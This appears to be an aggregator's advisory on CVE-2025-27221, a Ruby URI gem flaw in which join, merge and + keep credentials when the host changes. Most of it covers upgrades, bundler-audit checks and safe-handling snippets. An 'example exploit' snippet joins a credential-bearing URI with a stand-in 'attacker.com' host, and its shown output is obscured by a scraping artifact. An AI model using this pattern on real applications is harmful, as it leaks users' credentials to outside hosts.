Ruby URI Gem, Userinfo Leakage Vulnerability, CVE-2025-27221 (High Severity)

Listen to this Post

🐢▶️ Listen🚀

The CVE-2025-27221 vulnerability in the Ruby URI gem arises due to improper handling of userinfo (e.g., user:password) in the methods URIjoin, URImerge, and URI+. These methods retain userinfo even when the host component of the URI is replaced. This behavior can lead to unintended leakage of sensitive credentials when generating URLs. For example, if a URL containing userinfo is manipulated to point to a malicious host, the userinfo is inadvertently included in the new URL. When accessed, this could expose credentials to unauthorized parties. The vulnerability affects multiple versions of the URI gem, and users are advised to upgrade to patched versions (0.11.3, 0.12.4, 0.13.2, or 1.0.3) to mitigate the risk.

DailyCVE Form:

Platform: Ruby URI Gem

Version: < 0.11.3, 0.12.0-0.12.3, 0.13.0-0.13.1, 1.0.0-1.0.2

Vulnerability: Userinfo Leakage

Severity: High

Date: Mar 3, 2025

What Undercode Say:

Exploitation:

1. An attacker crafts a malicious URL using URIjoin, URImerge, or `URI+` with userinfo.
2. The victim accesses the manipulated URL, leaking credentials.

3. Example exploit code:

require 'uri'
original_uri = URI.parse("https://user:[email protected]")
malicious_uri = original_uri + "https://attacker.com"
puts malicious_uri.to_s Output: "https://user:[email protected]"

Protection:

1. Update the URI gem to patched versions:

gem update uri --version 0.11.3
gem update uri --version 0.12.4
gem update uri --version 0.13.2
gem update uri --version 1.0.3

2. Validate URIs before processing to ensure no unintended userinfo is included.
3. Use alternative methods for URI manipulation that do not retain userinfo.

Analytics:

1. Monitor logs for unusual URI patterns containing userinfo.
2. Use tools like `bundler-audit` to check for vulnerable dependencies:

   bundler-audit check
   

3. Implement input sanitization to prevent malicious URI construction.

References:

1. GitHub Advisory Database
2. RubyGems URI Gem
3. CVE-2025-27221 Details

Code Snippets:

1. Check current URI gem version:

require 'uri'
puts URI::VERSION

2. Example of safe URI manipulation:

require 'uri'
safe_uri = URI.parse("https://example.com")
safe_uri.userinfo = nil Remove userinfo
puts safe_uri.to_s

By following these steps, users can mitigate the risk of userinfo leakage and secure their applications.

References:

Reported By: https://github.com/advisories/GHSA-22h5-pq3x-2gf2
Extra Source Hub:
Undercode

Image Source:

Undercode AI DI v2